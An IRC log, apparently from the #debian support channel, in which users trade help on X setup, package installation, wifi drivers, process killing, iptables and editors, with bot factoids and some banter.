| 16:29.05 | nvz | lkthomas: I thought you were trying to curl a URL with a string from a file as a parameter to a cgi |
| 16:29.09 | johabba | need to know if i'm owned.... |
| 16:29.20 | lkthomas | nvz: it's about low end http POST and get |
| 16:29.30 | nvz | lkthomas: do you want to loop through a list of parameters in a file? |
| 16:29.55 | lkthomas | nvz: no, wait |
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| 16:32.25 | die-Sel | x-window-system-core is installed, i did startx and startkde and recived erros |
| 16:32.59 | die-Sel | startx give me : fatal IO error 104 (connection reset by peer_ on x server |
| 16:33.01 | crypt_ex | abrotman,, did you mean disable dpms from the BIOS? |
| 16:33.04 | thingfish | die-Sel: you might want to add xserver-xfree86 as well. |
| 16:33.15 | dadexter | xfree86? |
| 16:33.24 | thingfish | he's using sarge, right? |
| 16:33.28 | dadexter | oh |
| 16:33.34 | dadexter | I assumed he was on sid |
| 16:33.38 | thingfish | I don't know, never saw him say. |
| 16:33.39 | EdLin | thingfish: that's included in the x-window-system-core meta-package |
| 16:33.49 | die-Sel | didnt work niether thingfish |
| 16:33.53 | thingfish | EdLin: oh it is? actually I was wondering that. |
| 16:33.53 | dadexter | die-Sel, did you run one of the x config thingies? |
| 16:34.07 | abrotman | crypt_ex: there's an option in the X config to disable it .. like Option "DPMS" "Off" |
| 16:34.15 | thingfish | wondering about that, I mean. |
| 16:34.21 | die-Sel | yea its asked me a load of ? for my video acrd as it cudnt auto-detect it so i selected the options for my mtoerhboard |
| 16:34.34 | dadexter | die-Sel, so what errors did you see? |
| 16:34.46 | thingfish | die-Sel: sorry if you've already said, but what chipset? |
| 16:34.54 | crypt_ex | abrotman, am I able to edit this file without upsetting debconf? |
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| 16:35.00 | die-Sel | didnt get any, after the question wer asked it broght me back to root termial, then i did startx and got the errors posted above |
| 16:35.08 | die-Sel | its an SiS |
| 16:35.26 | die-Sel | chipset for AMD Athlon XP socket A motherboard with SiS drivers |
| 16:35.42 | EdLin | die-Sel: we're asking about the video card chipset |
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| 16:35.54 | francis | what really can you do if you have a process that just won't die? |
| 16:36.00 | die-Sel | i aint got a GFX card, just onboard video |
| 16:36.05 | thingfish | right |
| 16:36.08 | CoolCubix | how can i know if my glib version is >= 2.4 ? |
| 16:36.11 | thingfish | that's why I wanted chipset. |
| 16:36.16 | francis | looks like I've got a faulty compile of amarok, and killall amarokapp gives a silent return, but it's still running! |
| 16:36.27 | thingfish | motherboard chipset; should've been more specific. |
| 16:36.29 | die-Sel | its an SiS Che |
| 16:36.31 | EdLin | francis: try killall -9 |
| 16:36.33 | nvz | die-Sel: are you irc from that box now? |
| 16:36.35 | die-Sel | Chipset |
| 16:36.43 | die-Sel | no am on irc on my other rig |
| 16:36.44 | thingfish | I thought maybe it was some brand new i915 or something. |
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| 16:36.53 | stew | CoolCubix: "apt-cache policy libglib2.0-0" look at the Installed: line |
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| 16:36.58 | nvz | die-Sel: well look at lspci and give the VGA chipset |
| 16:37.01 | abrotman | crypt_ex: i think you have to |
| 16:37.05 | abrotman | !tell crypt_ex about xmd5 |
| 16:37.08 | francis | EdLin: ok, will do now. |
| 16:37.08 | CoolCubix | stew: ok i try that |
| 16:37.21 | crypt_ex | thanks abauer |
| 16:37.28 | crypt_ex | thanks abrotman rather :S |
| 16:37.33 | francis | EdLin: that did it! What does -9 do? |
| 16:37.46 | nvz | francis: sends a signal 9 |
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| 16:37.53 | nvz | francis: man kill |
| 16:37.53 | die-Sel | how do i do tgar nvz |
| 16:38.05 | nvz | wtf is a tgar |
| 16:38.10 | EdLin | francis: it shoots it with an uzi, giving it no time to do anything else but collapse in a bloody mess. ;-) |
| 16:38.12 | kspath | francis: man signal |
| 16:38.22 | CoolCubix | stew: thanx. i have 2.8... however there is a program which says my glib library is outdated (it wants >= 2.4) |
| 16:38.23 | francis | EdLin: uzis are indeed handy. |
| 16:38.26 | stew | francis: or google for sigkill |
| 16:38.31 | CoolCubix | how can i get rid of this ? |
| 16:38.45 | ke6isf | nvz: ...mispronounced and mutated tiger? dunno. |
| 16:38.55 | stew | CoolCubix: if you are trying to compile someting you need libglib2.0-0-dev |
| 16:38.56 | francis | nvz, kspath, stew, EdLin: thanks. |
| 16:39.00 | stew | CoolCubix: what are you trying to compile? |
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| 16:39.08 | EdLin | francis: yw |
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| 16:39.23 | EdLin | francis: btw, another way of killing a GUI program is to run "xkill" |
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| 16:39.30 | CoolCubix | stew: some libraries to use my TI with linux |
| 16:39.50 | CoolCubix | stew: they doesn't exist in package |
| 16:39.59 | CoolCubix | (not the version i need, at least) |
| 16:40.10 | CoolCubix | don't* |
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| 16:40.57 | stew | CoolCubix: if whatever it is is packaged at all, "apt-get build-dep packagename" installs the needed -dev packages |
| 16:41.01 | francis | EdLin: yeah, problem here was that it seemed like amaroK did a safe close when I did Action > Quit, but a long time later I top and it's still running. |
| 16:41.20 | crypt_ex | abrotman, I have now added Option "DPMS" "off" |
| 16:41.20 | crypt_ex | .... hopefully this will do the trick. ta |
| 16:41.31 | CoolCubix | stew: ok ty :) i'm gonna try |
| 16:41.49 | EdLin | francis: media players for Linux are becoming a bloated mess. |
| 16:41.54 | abrotman | crypt_ex: that means the screen won't blank .. |
| 16:42.09 | abrotman | stew: whatcha doing Apr 1/2 ? |
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| 16:42.16 | CoolCubix | stew: what "sources" address should i add in my sources.list ? |
| 16:42.20 | crypt_ex | abrotman, thats cool, I usually turn the monitor off when I aint using it |
| 16:42.26 | abrotman | crypt_ex: ah ok |
| 16:42.49 | abrotman | crypt_ex: if it still happens . could be bad code in a screen saver |
| 16:42.54 | crypt_ex | abrotman, its not good when a crash prevents you from doing ctrl+alt+f1 to kill anything |
| 16:43.09 | abrotman | crypt_ex: i had to uninstall xscreensaver-gl because one of them kept crashing X for me |
| 16:43.09 | crypt_ex | abrotman, the joys of Debian Testing ;) |
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| 16:43.32 | crypt_ex | will look into that if this causes the problem |
| 16:43.42 | stew | abrotman: i dunno, why? |
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| 16:44.12 | abrotman | stew: http://philadelphia.phillies.mlb.com/NASApp/mlb/schedule/index.jsp?c_id=phi&m=4&y=2006 |
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| 16:44.43 | stew | abrotman: yeah, lets do it, lemme double check with wifey |
| 16:44.53 | abrotman | stew: i wonder if it will be warm enough ;) |
| 16:44.55 | stew | CoolCubix: what version of debian are you running? |
| 16:45.01 | thingfish | I've had x crash too many times using those gl screensavers. plus all you really need is blank screen anyway. |
| 16:45.06 | CoolCubix | Etch testing |
| 16:45.09 | abrotman | stew: i love baseball .. but freezing my patoot off to watch it would suck! |
| 16:45.39 | stew | CoolCubix: is there something wrong with your current sources? if you post them somewhere we'll take a look (please don't paste in here) |
| 16:46.09 | CoolCubix | stew> i didn't change anything in sources.list |
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| 16:46.22 | CoolCubix | stew> it is the same as when i installed debian |
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| 16:46.39 | stew | abrotman: yeah that weekend is good for us |
| 16:46.51 | stew | abrotman: wait |
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| 16:47.19 | abrotman | though i'm sure we'd be able to buy tickets at the gate |
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| 16:48.05 | abrotman | stew: you guys can mull it over .. it's not for over a month |
| 16:48.18 | stew | abrotman: we're in |
| 16:48.30 | abrotman | you don't even need to think about it? |
| 16:48.44 | stew | we just did |
| 16:48.52 | abrotman | or talk to the parents? |
| 16:49.07 | stew | nope |
| 16:49.19 | abrotman | we'll make better plans when it gets closer? |
| 16:49.23 | stew | yeah |
| 16:49.27 | abrotman | okeedokee |
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| 16:50.25 | abrotman | !tell Codenut about root |
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| 16:53.15 | findme | which docbook xsl is used to generate documentation for debian? |
| 16:53.20 | CoolCubix | stew: ty ! 'configure' now works with installing libglib2.0-dev |
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| 16:55.29 | vin` | what are the good image viewers? feh, qiv, display, pornview, what else? |
| 16:55.41 | blondie | paintbrush |
| 16:56.06 | abeck | Anyone good at getting drivers for wifi cards on laptops |
| 16:56.08 | abeck | This is torture. |
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| 16:56.11 | blondie | o.O |
| 16:56.12 | GoAuLd | vin`, gthumb |
| 16:56.20 | findme | abeck, ndiswrapper |
| 16:56.29 | vin` | abeck: which chipset? |
| 16:56.33 | vin` | findme: eew. |
| 16:56.44 | [6502] | hehehe... pornview |
| 16:56.45 | abeck | It's a Microsoft MN-520 |
| 16:57.00 | abeck | I have to figure out what chipset that is |
| 16:57.02 | abeck | I guess |
| 16:57.05 | findme | vin`, eew but works :-) |
| 16:57.15 | findme | abeck, dmesg |
| 16:57.16 | vin` | [6502]: it works rather well. ;) |
| 16:57.23 | abeck | It is listed as one that works |
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| 16:58.09 | isul | debian rocks guys! I love you all |
| 16:58.51 | [6502] | hahahaha... lozers; no screenshots in the sourceforge page :-D |
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| 16:59.17 | kspath | why are screenshots needed? |
| 16:59.29 | blondie | screenshots are pretty! |
| 16:59.32 | ke6isf | isul: Thanks. |
| 16:59.33 | [6502] | i would have been fun to have some of them :-D |
| 16:59.38 | blondie | "a picture paints a thousand words" or something |
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| 16:59.51 | [6502] | may be with black stripes on them |
| 17:00.05 | kspath | blondie: sometimes one thousands words can be meaningless |
| 17:00.07 | Nexus | What is it called when you have certain packages be stable when you are using testing? vim is borked in testing.... |
| 17:00.25 | abeck | OK, I will try dmesg |
| 17:00.26 | ke6isf | [6502]: Well, what are you griping at us about? Go talk to the project owner about the lack of screen shots. |
| 17:00.32 | Eulex | Nexus, pinning? |
| 17:00.44 | [6502] | describe with a picture the phrase "a picture is worth a thousand words" |
| 17:00.48 | abeck | I tried dmesg, no reference to the card. |
| 17:01.05 | Nexus | Eulex, That's it. Thanks. |
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| 17:01.16 | abeck | I am going to check again for pcmcia and Yes, I am use the |more command |
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| 17:01.27 | [6502] | ok ok ... i'll keep silent from now on. i just didn't know about pornview... |
| 17:01.42 | Eulex | Nexus, yw :) |
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| 17:01.54 | ke6isf | It's an image cataloging program. That's it. |
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| 17:03.49 | amee2k | hi |
| 17:03.57 | abeck | OK, the last 4 entries are cs: and memory addresses. |
| 17:04.07 | abeck | That should be the pcmcia slot? |
| 17:04.14 | amee2k | how do i install the ondemand governor for cpufreq? |
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| 17:04.58 | cheal | amee2k: do you have the cpufreq_ondemand kernel module? |
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| 17:05.18 | abeck | Yep, I will check again. |
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| 17:05.23 | kspath | [6502]: Did you miss a dose of your medication today? |
| 17:05.36 | amee2k | "Module cpufreq_ondemand not found" |
| 17:05.38 | ke6isf | !sunday |
| 17:05.38 | dpkg | Sunday is the day all freaks swarm to #debian, avoid at all cost to remain sane. |
| 17:05.42 | KennYblue | hi |
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| 17:05.44 | amee2k | so nope |
| 17:05.51 | Eulex | !sing sunday |
| 17:05.51 | dpkg | Everyday is like sunday... Everyday the tards come to play... |
| 17:05.58 | KennYblue | i need help with my debian who can help me ? |
| 17:06.03 | ke6isf | !always sunday |
| 17:06.03 | dpkg | Just as it's always September, somewhere, out on the internet, it's always Sunday here in #debian. |
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| 17:06.24 | the_stick | Hi |
| 17:06.27 | KennYblue | hi |
| 17:06.29 | cheal | amee2k: which kernel do you run? |
| 17:06.42 | ke6isf | !tell KennYblue -about ask |
| 17:06.49 | the_stick | um.. is mandriva based on debian? |
| 17:06.52 | amee2k | 2.6.8-2-386 |
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| 17:06.59 | colter | hello |
| 17:07.04 | kspath | !mandriva |
| 17:07.04 | dpkg | from memory, mandriva is the new name (2005.04) of the merged Mandrake Linux and Conectiva Linux companies. or a stupid name |
| 17:07.05 | the_stick | er. I guess not |
| 17:07.06 | ke6isf | the_stick: ...um, no. |
| 17:07.17 | the_stick | ok |
| 17:07.21 | viNs__ | !xandros |
| 17:07.21 | dpkg | from memory, xandros is a crappy Operating System that _they_ should support... I even think it runs as root. at http://www.xandros.com/ |
| 17:07.27 | the_stick | can someone tell me what l2cap and hidp is? |
| 17:07.33 | [6502] | kspath: i'm laughing as an idiot... "Slideshows allow for unattended presentation of images for hands-free viewing" |
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| 17:08.01 | the_stick | I want to use my phone as a modem in mandriva, it worked fine in FC4, knoppix and any other distro I've tried |
| 17:08.15 | ke6isf | the_stick: Ask in #mandriva, we can't help you. |
| 17:08.16 | kspath | the_stick: WRONG channel |
| 17:08.21 | the_stick | ok |
| 17:08.32 | the_stick | sorry, they arent responding in mandriva |
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| 17:08.37 | the_stick | and yeah I guess wrong channel |
| 17:08.40 | ke6isf | the_stick: We still can't help you. |
| 17:08.43 | stew | "I even think it runs as root", huh? |
| 17:08.55 | abeck | how do I get my wifi card automagically detected? |
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| 17:08.59 | ke6isf | the_stick: This channel is for Debian (GNU/)Linux, which is not Mandriva. |
| 17:09.09 | the_stick | I understand |
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| 17:09.13 | amee2k | which package contains the cpufreq_ondemand module (or do i need to recompile the kernel)? |
| 17:09.13 | abeck | I installed the pcmcia stuff from online |
| 17:09.26 | zinosat | is there an easy way, given a text file, to find the unicode "coordinates" used in it? |
| 17:09.31 | stew | abeck: what chipset is your wireless card? |
| 17:09.39 | [6502] | did anyone try building pyopengl for python 2.4 under debian sarge ? |
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| 17:09.54 | abeck | I will go find the chipset, sorry you asked me that before. |
| 17:10.12 | Tallu | I was thinking of getting a laptop with debian and violating peoples' wlans |
| 17:10.21 | cheloo | need help with horde why usr/share/horde3/config its empty ? and /etc/horde/horde3 its empty too :(( what should i do ? |
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| 17:10.49 | cheal | amee2k: there is no ondemand governor on 2.6.8 |
| 17:10.52 | kspath | Tallu: Are you going to ask a question of make odd statements? |
| 17:10.52 | stew | cheloo: you should resinstall with confmiss or purge and reinstall /msg dpkg confmiss |
| 17:10.54 | KennYblue | someone here who can help me ? plz qry but no stupid bots plz :P |
| 17:11.03 | the_stick | !hidp |
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| 17:11.10 | the_stick | uh |
| 17:11.10 | shingouz | KennYblue: just ask |
| 17:11.11 | Tallu | kspath: huh? |
| 17:11.11 | *** part/#debian the_stick (n=the_stic@202.56.231.116) |
| 17:11.12 | ke6isf | KennYblue: No, we can't help you. You haven't actually asked your question. |
| 17:11.31 | ke6isf | KennYblue: Ask your question, and we can probably give an answer - which is exactly what the bot told you. |
| 17:11.35 | Tentative | KennYblue: ask |
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| 17:11.51 | ke6isf | ...oh, crap, I think I'm turning into mwilson. =O.o= |
| 17:11.55 | Tallu | kspath: it was just meant to be an odd statement. not a question |
| 17:11.56 | KennYblue | i get a error if i wanne run "make install" the error is : Can't find kernel sources in /lib/modules/2.4.27-2-386/build; give the path to kernel sources with KSRC=<path> argument to make ...... |
| 17:11.58 | tulioanjos | hi guys, i installed apache with apt-get install apache |
| 17:12.12 | tulioanjos | and now, i wanna restart it |
| 17:12.14 | tulioanjos | how to ? |
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| 17:12.29 | daft | tulioanjos /etc/init.d/apache restart |
| 17:12.30 | KennYblue | ./etc/init.d/apache restart |
| 17:12.36 | Tentative | KennYblue: if you don't understand this message you shouldn't recompile the kernel |
| 17:12.40 | amee2k | cheal: what can i the use to do on demand CPU freq scaling? |
| 17:12.51 | tulioanjos | thank you |
| 17:12.52 | shingouz | ke6isf: where is he btw, been away a long time |
| 17:12.54 | KennYblue | i wanne make install of ndiswrapper |
| 17:12.56 | ke6isf | !wayc KennYblue |
| 17:12.56 | dpkg | KennYblue: Why are you compiling instead of using apt-get? |
| 17:12.56 | debiannub | hi guys |
| 17:13.01 | *** mode/#debian [+l 850] by debhelper |
| 17:13.03 | debiannub | how i can start ircii |
| 17:13.04 | debiannub | ? |
| 17:13.14 | KennYblue | where can i get the ndiswrapper.dep ... ? |
| 17:13.16 | ke6isf | shingouz: I think he got booted, but I could be wrong. |
| 17:13.21 | shingouz | wow |
| 17:13.36 | cheloo | sew thanks a lot |
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| 17:13.47 | KennYblue | i wanne run apt-get install ndiswrapper but he dont know the package |
| 17:13.56 | ke6isf | debiannub: ...you type 'ircii'. |
| 17:14.02 | ke6isf | !all |
| 17:14.02 | dpkg | All: no such nick/channel. Just ask your question, please - ask me about <ask>. a brand of laundry detergent in the United States, and it's not expected that this will answer, either. |
| 17:14.30 | cheal | amee2k: I don't know. maybe userspace can replace anything |
| 17:14.37 | ke6isf | KennYblue: 'apt-cache search ndiswrapper' |
| 17:14.39 | shingouz | KennYblue: /msg dpkg ndiswrapper one-liner |
| 17:14.53 | tulioanjos | someone tell me a good program to edit files in linux ? |
| 17:14.53 | debiannub | how i can start ircii |
| 17:14.56 | tulioanjos | i'm not familiar with vim |
| 17:14.59 | thingfish | it's probably in non-free |
| 17:14.59 | itguy | how can i run a file with " name.c" |
| 17:14.59 | resiak | !good |
| 17:15.02 | resiak | hmm |
| 17:15.07 | itguy | tulioanjos: pico |
| 17:15.10 | resiak | itguy: You don't. you need to compile it. gcc |
| 17:15.11 | shingouz | debiannub: type ircii |
| 17:15.11 | GoAuLd | tulioanjos, nano |
| 17:15.13 | ke6isf | tulioanjos: vim. emacs. nano. pico. joe. jed. kedit. gedit. |
| 17:15.17 | stew | itguy: pico isn't in debian, its non-free |
| 17:15.23 | tulioanjos | itguy: u can compile, gcc -o name name.c, then chmod u+x name, and ./name |
| 17:15.25 | itguy | resiak: how? |
| 17:15.27 | stew | itguy: you'd have to compile the .c with gcc |
| 17:15.32 | resiak | itguy: You use gcc |
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| 17:15.43 | tulioanjos | itguy: u can compile, gcc -o name name.c, then chmod u+x name, and ./name |
| 17:15.53 | ke6isf | !tell tulioanjos -about u |
| 17:16.16 | tulioanjos | ke6isf: i didnt understood |
| 17:16.19 | usn | good evening |
| 17:16.32 | ke6isf | tulioanjos: It's "you", not "u". |
| 17:16.37 | tulioanjos | i did |
| 17:16.41 | tulioanjos | but who the fuck cares ? |
| 17:17.04 | debiannub | how i can run ircii plz help me |
| 17:17.14 | ke6isf | debiannub: I already told you. You type 'ircii'. |
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| 17:17.25 | shingouz | debiannub: open terminal, type ircii and stop using plz. plz |
| 17:17.36 | resiak | tulioanjos: gcc chmods it for you |
| 17:17.46 | tulioanjos | resiak: cool |
| 17:17.50 | debiannub | ok sorry |
| 17:17.53 | Brov | Does anyone know why '/etc/init.d/gdm restart' closes X but DOESN'T restart it when run as root in an xterm window? |
| 17:17.56 | debiannub | but it doesnt run |
| 17:18.04 | tulioanjos | nano is running |
| 17:18.05 | debiannub | i have written ircii |
| 17:18.06 | ke6isf | debiannub: What are the symptoms? |
| 17:18.06 | resiak | Brov: because the process dies when the xterm gets killed? |
| 17:18.11 | tulioanjos | how to save and close ? |
| 17:18.15 | debiannub | command not found |
| 17:18.18 | debiannub | or dir |
| 17:18.19 | die-Sel | someone have a look here: http://brunotorres.net/en/sargeslide/40 , if i take just the 1st option, it will install kde and gnome? |
| 17:18.20 | resiak | !installit |
| 17:18.23 | shingouz | debiannub: install it then |
| 17:18.27 | ke6isf | !installit |
| 17:18.27 | dpkg | *** NEWS FLASH! *** Your box does not come with every app, tool and utility known to debiankind installed already. If you find that the program you've been told to use isn't there, install it. Also ask me about <search>. if someone suggests an application to you, it's highly likely that it's available via apt-get |
| 17:18.28 | debiannub | i installed |
| 17:18.39 | ke6isf | debiannub: 'apt-get install ircii'? |
| 17:18.39 | debiannub | i did apt-get install ircii |
| 17:18.43 | debiannub | yes |
| 17:18.50 | ke6isf | debiannub: What version of Debian are you running? |
| 17:18.52 | shingouz | debiannub: dpkg -L ircii |
| 17:19.15 | debiannub | 3.1_r1 |
| 17:19.16 | Brov | resiak: is there a workaround? |
| 17:19.23 | ke6isf | Sarge. |
| 17:19.27 | blondie | apt-get install irssi-text and be happier. |
| 17:19.31 | die-Sel | someone have a look here: http://brunotorres.net/en/sargeslide/40 , if i take just the 1st option, it will install kde and gnome? , anyone? |
| 17:19.31 | resiak | Brov: Don't do that, then? Or run it in GNU screen? |
| 17:19.34 | ke6isf | debiannub: Do 'locate ircii' |
| 17:19.37 | resiak | Brov: or background it? |
| 17:19.50 | ke6isf | debiannub: Better yet, what blondie said - install irssi-text. |
| 17:20.14 | wols_ | die-Sel: who cares? just install it after you doen installing |
| 17:20.15 | Brov | well its called from a script 'sudo /etc/init.d/gdm restart' |
| 17:20.17 | wols_ | apt-get install gnome kde |
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| 17:20.20 | kspath | apt-file search ircii |
| 17:20.37 | resiak | Brov: Then background the script or run it in GNU Screen |
| 17:20.40 | abeck | for a wifi chipset does prism2 mean anything to you guys? |
| 17:20.43 | tulioanjos | how to close nano ? :S |
| 17:20.49 | wols_ | it's a LOOONG time since I used ircII (thank $deity), but shouldn't it be uppercase II at the end? |
| 17:20.53 | Brov | I modify XF86Config-4 in script then need to reload it |
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| 17:21.00 | die-Sel | wols i have been trying to do that but it just wont work |
| 17:21.00 | resiak | Brov: so background it? |
| 17:21.18 | Brov | run it as background in first place from within script yer? |
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| 17:21.30 | wols_ | die-Sel: that's a crappy error description. think about a better one. "does not work" is just plain stupid |
| 17:21.41 | tulioanjos | come on, how to close nano ? |
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| 17:21.54 | resiak | tulioanjos: It says at the bottom... |
| 17:21.56 | wols_ | tulioanjos: it shows you at the bottom IIRC. some F key |
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| 17:21.59 | thingfish | tulioanjos: look at the bottom of the terminal. |
| 17:22.01 | die-Sel | i was tlaking about it eailer and discussed the problems i was having |
| 17:22.05 | tulioanjos | ^G Get Help ^O WriteOut ^R Read File ^Y Prev Page ^K Cut Text ^C Cur Pos |
| 17:22.08 | tulioanjos | yes |
| 17:22.09 | tulioanjos | ^G |
| 17:22.10 | thingfish | ctrl+x |
| 17:22.12 | ke6isf | tulioanjos: (hint: lower right hand of the terminal) |
| 17:22.14 | tulioanjos | control, thanks |
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| 17:22.47 | wols_ | die-Sel: you are obviously online. so run apt-setup and choose a mirror near you |
| 17:23.02 | ruben | Hi, to use range of ports under iptables, this line it's ok? iptables -A INPUT -i eth0 -p TCP --dport 30000:30999 -m state --state NEW -j ACCEPT |
| 17:23.12 | ruben | --dport 30000:30999 ? |
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| 17:23.46 | stew | ruben: yes |
| 17:23.49 | die-Sel | http://brunotorres.net/en/sargeslide/40 < i ok all the same options here so i hope it works. My video chipset is by SiS but it ismt using an SiS driver in windows. |
| 17:24.15 | die-Sel | so am just hoping for the best, after 11install attempts, if this ones fails m quiting lol |
| 17:24.21 | ruben | stew: thanks! |
| 17:24.29 | tulioanjos | someone try to acess: http://201.3.13.162:1337 |
| 17:24.47 | kspath | !someone |
| 17:24.47 | dpkg | Please do not ask if anyone uses <someprogram>. Instead, ask your real question. (If the real question _was_ "does anyone use <someprogram>?" ask me about <popcon> instead.) See <ask> <sicco> <ask-to-ask> <polls> |
| 17:24.47 | wols_ | die-Sel: possibly a S3 driver |
| 17:24.56 | abeck | is the orinco_cs and prism2 the same chipset for a Microsoft MN-520 wifi card? |
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| 17:25.21 | thingfish | that was a legitimate use of 'someone' if I might say. |
| 17:25.29 | GoAuLd | anyone running Xgl under debian ? |
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| 17:25.42 | ke6isf | !anyone |
| 17:25.42 | dpkg | Please do not ask if anyone uses <someprogram>. Instead, ask your real question. (If the real question _was_ "does anyone use <someprogram>?" ask me about <popcon> instead.) See <ask> <sicco> <ask-to-ask> <polls> |
| 17:25.53 | thingfish | that one was spot on. ;) |
| 17:26.03 | tulioanjos | ke6isf stop annoyning |
| 17:26.06 | ke6isf | tulioanjos: No dice. |
| 17:26.10 | tulioanjos | god damnit bloodhell |
| 17:26.12 | ke6isf | !annoy tulioanjos |
| 17:26.19 | ke6isf | damn. |
| 17:26.28 | wols_ | !badger tulioanjos |
| 17:26.29 | dpkg | ENOUGH |
| 17:26.35 | stew | tulioanjos: you are in no shape to be calling people annoying |
| 17:26.40 | tulioanjos | stew: :p |
| 17:26.48 | jelly | telnet 201.3.13.162 1337 |
| 17:26.48 | jelly | Trying 201.3.13.162... |
| 17:26.48 | jelly | telnet: Unable to connect to remote host: Connection refused |
| 17:26.50 | abeck | ke5isf here is vy2wu, you are not acting like a gentleman ham! |
| 17:26.52 | ke6isf | !coffee stew |
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| 17:26.56 | cheloo | sew what mysql socket location do i have to use for horde /var/lib/mysql/mysql.sock or /var/run/mysql/mysql.sock ? |
| 17:27.01 | tulioanjos | jelly thats http not telnet |
| 17:27.12 | jelly | tulioanjos: so? |
| 17:27.21 | tulioanjos | jelly: put it in your browser |
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| 17:27.48 | jelly | tulioanjos: your server can't possibly know what process I'm using to access the service. |
| 17:27.57 | stew | cheloo: /var/run/mysqld/mysqld.sock is the default location in debian |
| 17:27.59 | tulioanjos | jelly: it is on iptables i guess |
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| 17:28.08 | wols_ | jelly: he said to use http very clearly |
| 17:28.08 | tulioanjos | how to configure iptables? to open all ports ? |
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| 17:28.15 | ke6isf | tulioanjos: Not even getting an nmap. Is the machine even alive? |
| 17:28.19 | Gnea | tulioanjos: if telnet fails then the web browser will fail. |
| 17:28.30 | francis | how can you specify a given automake/unsermake to use on ./configure ? |
| 17:28.32 | tulioanjos | it is running on vmware |
| 17:28.48 | tulioanjos | ./configure --help |
| 17:28.48 | jelly | wols_: well, http is not going to work either if it can't even establish a tcp connection. |
| 17:29.05 | wols_ | true |
| 17:29.17 | stew | francis: you either call automake1.9 or automake1.7 explicitly or you use update-alternatives to set which the automake symlink is pointing to |
| 17:29.35 | francis | thanks |
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| 17:29.44 | BuNnYy | hello all |
| 17:29.49 | tulioanjos | how to use iptables ? |
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| 17:30.11 | Gnea | #iptables |
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| 17:30.23 | tulioanjos | lol |
| 17:30.28 | kspath | tulioanjos: try #tulioanjos as well since you like to hear yourself even more than I. |
| 17:30.30 | tulioanjos | !tell tulioanjos about lol |
| 17:30.33 | Gnea | you think it's a joke? |
| 17:30.33 | Steve_ | hi habe mir grade mein sys aufgesetzt über knoppix und woltle jetz da es mit gnome läuft kde installen mittel apt-get install kde und bekomme folgenden fehler... |
| 17:30.35 | BuNnYy | :lol: |
| 17:30.35 | Steve_ | Entferne kdebluetooth ... |
| 17:30.35 | Steve_ | dpkg-divert: mismatch on divert-to |
| 17:30.35 | Steve_ | <PROTECTED> |
| 17:30.35 | Steve_ | <PROTECTED> |
| 17:30.35 | Steve_ | dpkg: Fehler beim Bearbeiten von kdebluetooth (--remove): |
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| 17:30.36 | BuNnYy | :> |
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| 17:30.54 | Gnea | !tell tulioanjos about netfilter docs |
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| 17:31.06 | kspath | !tell Steve_ about paste |
| 17:31.17 | kspath | !tell Steve_ about de |
| 17:31.24 | kspath | !tell Steve_ about knoppix |
| 17:31.26 | BuNnYy | !tell das |
| 17:31.35 | thingfish | !tell kspath about He's not here! |
| 17:31.35 | stew | kspath: hes not even here :) |
| 17:31.36 | BuNnYy | !tell Chanserv |
| 17:31.37 | BuNnYy | :) |
| 17:31.38 | ke6isf | kspath: Steve_'s not here. =^^= |
| 17:31.46 | tulioanjos | i just wanna to know, how to open all ports in iptables? |
| 17:31.56 | cheloo | sew if i put that location for mysql socket it doesnt create any table in the horde data base ;( |
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| 17:32.15 | Gnea | tulioanjos: already answered. |
| 17:32.28 | kspath | I assumed wrongly that Steve_ would be lame enough to auto-rejoin |
| 17:32.34 | Brov | how do I run 'sudo /etc/init.d/gdm restart' in the background in a script? |
| 17:32.36 | tulioanjos | i dont wanna waste 3 weeks if you can answer in one line |
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| 17:32.57 | ke6isf | tulioanjos: Somebody already *did* answer in one line. |
| 17:33.05 | Jmmx | hi |
| 17:33.12 | Gnea | tulioanjos: that's your tough luck. |
| 17:33.26 | stew | BuNnYy: turn that off in here. |
| 17:33.35 | BuNnYy | Ok ! |
| 17:33.37 | BuNnYy | sORRY |
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| 17:33.47 | tulioanjos | iptables -F |
| 17:33.48 | colter | I just installed clamav + freshclam, and while an init script for freshclam was dumped into /etc/init.d, none was for clamd. Is this normal? |
| 17:33.49 | tulioanjos | by google |
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| 17:33.53 | ke6isf | BuNnYy: ...might want to mind your capslock. |
| 17:33.54 | tulioanjos | anyway, thanks |
| 17:34.01 | tulioanjos | rat trap |
| 17:34.15 | abrotman | go ask #iptables |
| 17:34.24 | Zugschlus | colter: did you also install clamav-daemon? |
| 17:35.03 | colter | Zugschlus: My bad. Thanks for the hint |
| 17:35.08 | Zugschlus | colter: you're welcome |
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| 17:36.26 | Brov | how do I run 'sudo /etc/init.d/gdm restart' in the background in a script? '/etc/init.d/gdm restart &' doesn't work |
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| 17:37.01 | cheloo | horde/scripts/database/mysql_create.sql the mysql_create.sql file doenst exist any ideea ? |
| 17:37.09 | itguy | gcc -o name name.c give me erro |
| 17:37.17 | BuNnYy | how have Torrent tracker ????????????????????????? |
| 17:37.27 | abrotman | !tell BuNnYy about ep |
| 17:37.38 | ke6isf | BuNnYy: ...not with the excess question marks! |
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| 17:38.08 | BuNnYy | Em i ask how have tracker |
| 17:38.26 | ke6isf | BuNnYy: that's a vague question. What are you looking for? |
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| 17:38.48 | stew | cheloo: /usr/share/doc/horde3/examples/scripts/sql |
| 17:38.54 | CoolCubix | When i try to run a certain program, it says that it could not find a certain library. However, when i 'locate' it, i find it in '/usr/local/lib' ; is there a file where i can add this path ? |
| 17:39.01 | debiannub | ok |
| 17:39.03 | BuNnYy | I have torrent tracker www.dupnica.org but ! I dont habe ODBC for linux |
| 17:39.05 | debiannub | i have run it |
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| 17:39.43 | abrotman | BuNnYy: i'm sorry .. sucks be you |
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| 17:40.19 | ke6isf | BuNnYy: what is dupnica.org? |
| 17:40.27 | wols_ | CoolCubix: /etc/ld.so.conf |
| 17:40.33 | BuNnYy | Its Domain |
| 17:40.36 | BuNnYy | in Bulgaria |
| 17:40.46 | abrotman | wow .. ke6isf .. bet you didn't know that was a domain :) |
| 17:40.47 | CoolCubix | wols_> the path is already in this file... |
| 17:41.01 | cahoot | CoolCubix: run ldconfig |
| 17:41.07 | Brov | how do I run 'sudo /etc/init.d/gdm restart' in the background in a script? '/etc/init.d/gdm restart &' doesn't work |
| 17:41.10 | ke6isf | abrotman: With my domain name server? I wouldn't know a domain from a cat scratch post. |
| 17:41.12 | tulioanjos | thats a torrent community |
| 17:41.18 | wols_ | CoolCubix: man ldconfig |
| 17:41.33 | ke6isf | BuNnYy: Yes, I understand that. I know what a domain is. Now what is on this domain? What is the webserver/torrent dispensing? |
| 17:41.36 | abrotman | why can't freenode have a #illegalstuff |
| 17:41.38 | CoolCubix | okay, thanks, it works :) |
